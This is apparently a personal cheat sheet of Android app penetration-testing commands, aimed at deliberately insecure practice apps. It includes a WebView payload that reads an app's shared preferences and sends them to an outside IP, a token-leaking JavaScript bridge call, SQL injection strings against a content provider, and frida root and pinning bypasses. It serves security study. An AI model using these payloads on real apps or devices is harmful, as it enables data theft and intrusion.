-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathandroid.txt
executable file
·225 lines (124 loc) · 4.84 KB
/
android.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
adb devices
adb -s device-id shell
pm list packages
adb shell pm path com.android.messaging
adb uninstall com.android.messaging
adb install chrome.apk
pm list packages
pm list packages -3
pm path package_name
sqllite3 filename
adb shell am start -n com.example.intentinjection/.Dashboard -e username 'hacker'
adb shell am broadcast -p com.example.insecurebroadcastreceiver -a theBroadcast -e mobile '000' -e password "123456"
apktool d app.apk
apktool b --use-aapt2 appFolderName
adb shell am start -n com.example.insecurewebview/.RegistrationWebView -e reg_url 'http://138.68.182.36:999/'
save test.html
<script>
var url = 'file:///data/data/com.example.insecurewebview/shared_prefs/MainActivity.xml';
function load(url) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
fetch('http://138.68.182.36:999/?data=' + encodeURIComponent(btoa(xhr.responseText)));
}
}
xhr.open('GET', url, true);
xhr.send('');
}
load(url);
</script>
adb push test.html /mnt/sdcard/test.html
adb shell am start -n com.example.insecurewebview/.RegistrationWebView --es reg_url "file:///mnt/sdcard/test.html"
<script type="text/javascript">
alert("token: " + Android.getUserToken());
</script>
adb shell am start -n com.example.insecurewebview/.SupportWebView -e support_url 'http://138.68.182.36:999/test2.html'
adb shell am stopservice com.example.insecureservice/.RecorderService
adb shell am startservice com.example.insecureservice/.RecorderService
adb shell
content query --uri content://com.example.insecurecontentprovider.DataUserContentProvider/datausers/ --projection "*"
content query --uri content://com.example.insecurecontentprovider.DataUserContentProvider/datausers/ --projection "'"
content query --uri content://com.example.insecurecontentprovider.DataUserContentProvider/datausers/ --projection "* from sqlite_master --"
content insert --uri content://com.example.insecurecontentprovider.DataUserContentProvider/datausers/ --bind name:s:"x2"
' -> test
' or 1=1 --
admin' order by 1 --
admin' order by 2 --
admin' order by 3 --
admin' order by 4 --
admin' union select 1,2,3 --
sqlite_version() ->
sqlite_master
limit 0,1
sql -> table - column and ...
admin' union select 1,2,3 from sqlite_master --
brew install jadx
pip3 install frida-tools
pip3 install frida
pip3 install --upgrade frida
pip3 install --upgrade frida-tools
pip3 install frida-dexdump
frida-dexdump -U -f com.app.pkgname
frida --version
download frida-server-15.1.15-android-x86.xz https://github.com/frida/frida/releases
unzip
adb root
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "/data/local/tmp/frida-server &"
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name>
frida -l code.js -f com.example.frida1 -U
%resume
adb shell
settings put global http_proxy 192.168.1.7:8080
settings put global http_proxy 192.168.8.100:8080
settings put global http_proxy 172.16.246.1:8080
settings put global http_proxy 172.20.10.2:8080
settings get global http_proxy
in android open : http://172.16.246.1:8080 -> download ca -> der -> rename name.cer
for disable : settings put global http_proxy :0
https://github.com/httptoolkit/frida-android-unpinning/blob/main/frida-script.js
adb logcat
adb logcat | grep pid
https://codeshare.frida.re/
https://codeshare.frida.re/@dzonerzy/fridantiroot/
frida --codeshare dzonerzy/fridantiroot -f com.app -U
%resume
frida -l file.js -f com.app -U
allow backup:
adb backup -apk package_name
java -jar abe.jar unpack backup.ab backup.tar
https://github.com/nelenkov/android-backup-extractor
clipboard sensitive :
ls -l /data/data | grep package_name # get uid
su uid
service call clipboard 2 s16 package_name
disable copy/paste sensitive edit text
EditTextUsername.setLongClickable(false);
longClickable="false"
adb shell
content query --uri content://com.example.insecurecontentprovider2.Notesprovider/notes
https://github.com/sensepost/objection
pip3 install -U objection
objection -g package_name explore
memory dump all file.txt
strings file.txt
android:allowBackup="true" -> android:allowBackup="false"
https://www.buaq.net/go-18096.html
android-x86 :
mount -o remount,rw /mnt
vi /mnt/grub/menu.lst
nomodeset xforcevesa
:wq
reboot
adb connect 172.16.246.146:5555
scrcpy -s
https://github.com/Genymobile/scrcpy
adb shell settings put global verifier_verify_adb_installs 0
https://github.com/wushenwu/frida_script_collections
/Users/meisamrce/Library/Android/sdk/build-tools/33.0.1
keytool -genkeypair -v -keystore key.keystore -alias key -keyalg RSA -keysize 2048 -validity 10000
./zipalign -f -v 4 app-unsigned.apk app-signed.apk
./apksigner sign --ks key.keystore --ks-key-alias key app-signed.apk